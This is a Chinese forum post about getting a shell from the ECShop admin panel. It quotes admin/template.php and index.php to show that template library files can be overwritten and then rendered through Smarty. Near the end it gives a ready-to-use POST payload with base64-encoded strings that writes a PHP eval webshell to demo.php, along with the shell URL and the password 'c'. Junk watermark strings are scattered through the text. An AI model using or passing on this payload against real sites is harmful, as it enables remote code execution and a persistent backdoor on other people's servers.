找回密码
 立即注册
查看: 3144|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 o+ }: b2 u5 q$ ^
2 P/ P  n! j* `* J9 @而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了- _1 V( z% p3 a: T6 x1 Y
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码5 v7 P6 w8 o& B
admin/template.php
: l. E' ~- i! T% h, [5 [: s8 {, G
1 if ($_REQUEST['act'] == 'update_library')
7 m$ W+ R% M/ A* I! t! I  Z; x2 C" V5 I" E$ j2 w! U  ^
2   
9 n! `  Y# t/ k( T# h& @3 H4 \. \7 w3 ]2 z1 T+ |6 q
3 { , h8 _0 |) z* o* \$ A* p

- a+ v2 D- w% K' U4     check_authz_json('library_manage'); 1 B3 z) z6 Q, D1 ]3 T& e+ C2 S

! e! a! i) o$ B5   
, b' `1 ~4 t6 C# a
( A' B* U5 ?3 X# T: _; a1 {6     $html = stripslashes(json_str_iconv($_POST['html'])); ; e, E2 w, Z2 z
, f8 {3 M* u4 x( B) G
7   
% Z$ j% d1 |. X& g0 ]$ d7 n3 \, e# ~. }5 ~3 B2 P# P5 p
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 o: ]/ W- W: ?$ F5 a$ `5 x% p! [4 z9 W) r+ L' U, C
9   ' T' W% Y$ Y, g
2 ^8 r5 c# p2 I( }6 j
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ) ?5 {, W+ Q- h4 w5 [' Z

7 ^( B9 e& y1 p6 W7 A11   
% P+ J: v+ Y5 c' ]  b8 Z
6 U# Z! Q1 X7 o; q+ h- {12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
1 k; o' x' W& H9 A4 e. j( \% `4 x, j- {. ~6 A/ K7 t, ^" d; w$ b, V
13   
! L! r* ~% @$ A. o, q4 c% C( q6 U0 k
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 # r& l, P7 o4 b& g
! Q" ~/ z# J$ P8 C9 v
15     {
* H8 p, g: J* `% v" x$ g( ^
8 u& Q( Q& n6 d# |7 }' q1 c16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
) r8 w8 b' Y1 h  @4 k2 x6 d
- P8 ?& v3 W/ W8 t! Q$ f5 p- c, h17         make_json_result('', $_LANG['update_lib_success']);
5 Z' e9 M* ~1 Z# f) `
  R- L# F/ [* N; a18     }
3 Z6 f* K" K4 C$ C" a% Z3 A/ {, Q% k5 |5 b/ d
19     else 3 g+ Z; l% f. H) Q3 @* ^

+ {2 V: d2 U9 o7 N  V' w3 r20     {
7 N8 C5 P2 `/ Y4 H; k$ c5 H% Y8 C; B1 P
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
3 H+ \# w- `1 `. s- |$ r, y; k3 p  @2 r- Q2 ^' }( `
22     } 3 a6 \+ q+ i7 ]+ z! ^

& y. o8 H4 J6 ?23 }
( I  Y2 P# D0 D; U* v, O6 j6 S8 O0 s
那么找个比较方便调用了模板的文件! b( q  R. L, [8 G
index.php) |  w1 I; X) K! [5 W

7 c( \1 {; O9 V' \9 X1 if ($act == 'cat_rec') 0 Q% ?. }/ f% t/ Q" q: p& `( y
: L. K# q# @" n: E6 J9 `2 M6 |
2   
' H, Y- f1 c) ^. W5 z* \
6 Z. T( C. j4 z( \& ~2 B3 {
# D: `: S4 Y- u: \( G2 Q
+ C! {2 l. j% b- Y9 r8 |4   
" B" g8 b3 `* C) E* Z9 W3 H- A7 I3 E) D2 d  e5 k
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 R) ]& j8 R( d1 F
  }  W' {6 e% z- ^* w6 z, l6   
9 U' w# o8 Y' |0 ~# b2 T& P" z( o- ~5 O! |" |& D: \
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 W4 B+ r/ }/ z. n# i7 ?: G
5 }% b7 i$ O8 U5 a1 ^; Y8   : m* }( T4 ]# w% G

0 m& m2 p/ G2 Q4 J' {9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # f8 r2 m$ x/ _' O) t+ l
$ W& m. `& @3 {1 n+ Q. i
10   5 b1 y7 ~4 c; l: E6 C& a& H
$ |  {4 q' W( w! e
11     include_once('includes/cls_json.php');
% Q, K5 h1 j6 m1 {
& u+ J0 k" j, F" D! Z' Y; L12   
4 n, |2 p4 K  r& @/ H1 k8 ~( G( j, N; m8 c7 J' v. E7 n
13     $json = new JSON; * z" L4 O- N; D) k8 S  [$ c

7 \; i: D" D! @14   8 y7 `8 Y6 F) o, l, I! h) x
/ L' U6 ]+ }) e  @
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 9 i/ P6 b" B4 ~' X/ k+ T9 }
8 m, o; w6 ~5 y9 W. B* F# X. g7 U
16   9 g6 P" ~9 [- D( Z! G

5 s" W6 ^  Z3 g" E/ s! `; x17     $children = get_children($cat_id);
& i7 o) B: t6 O" ^6 l
2 x" H. n: f# {2 N' p18   
" E' Z" G% o) P5 g* N, w
) [% k9 T: W/ Z/ s8 b19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( b$ h' O/ S3 V
) Q& O8 G0 B- m1 J: C. l20     ~9 e  J" x, }. r. q" L! t
4 H% C/ ~2 s5 y: Z& D
21     $smarty->assign('cat_rec_sign', 1); 6 [( o4 Y) R! f% q

, o& I- U/ V: A" h3 M22   
) @7 @6 K9 Z; P& c2 }
; Q: ~6 `8 j7 u- i$ y23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
. v7 H; J* m8 l2 t- V2 P- X- J& P4 Z) S9 B% f9 t, Y' A
24   3 Q( |, n/ Q6 o
, u' b" p& d' n% y* O) ?  s
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
  O7 d7 v% G9 k6 M" _$ E. k
/ Q: ?1 g8 X  Q, X: t% y% M26   
, N' H: i' `& f6 i4 B/ z( {2 a3 n$ N! |# t; j& H
27         echo $rec_array[$rec_type];
+ {& j3 F( N5 D8 `
1 W6 F4 _7 U- H4 T/ l; e  |28   
1 D- Z% a) o4 s. u% F1 C) A% R7 o
29     die($json->encode($result)); ) a& S, @% q" X7 i9 a' |

9 |! o9 \+ N! g30   
& H! Q  j- |- \7 I% D7 X% u
8 ]  K1 A3 c4 y! d  A7 }& k8 s31 } " K/ L8 \% [2 {4 E+ `3 ~

1 j9 |+ R' k3 p' R. s8 W" A那么就有利用方法了, Z; |6 q: W  q8 A! ?! x2 T( O: `
post包到http://localhost/ec/admin/template.php?act=update_library9 y" u% t  U7 u0 N6 p* c; m8 l
Post内容:  S$ m+ c* K+ o" m; a0 l

5 N. W; q7 w) C0 n
" ^# W& T" }+ r; i8 @4 ^1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} : N) e0 W' x% o4 q
7 Y' Y6 `( u0 p& }9 Q  q
然后访问http://localhost/ec/index.php?act=cat_rec# w5 r6 u4 h5 p1 o

, B1 T: b& O7 u" H- ?9 P/ ~- tshel地址:http://localhost/ec/demo.php6 U7 ~: g+ S* h, M- F/ ~# H  Q
密码c/ G$ S& N5 q# S6 l( J8 U- x5 u

, E) @9 Y8 O) g0 W3 B0 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表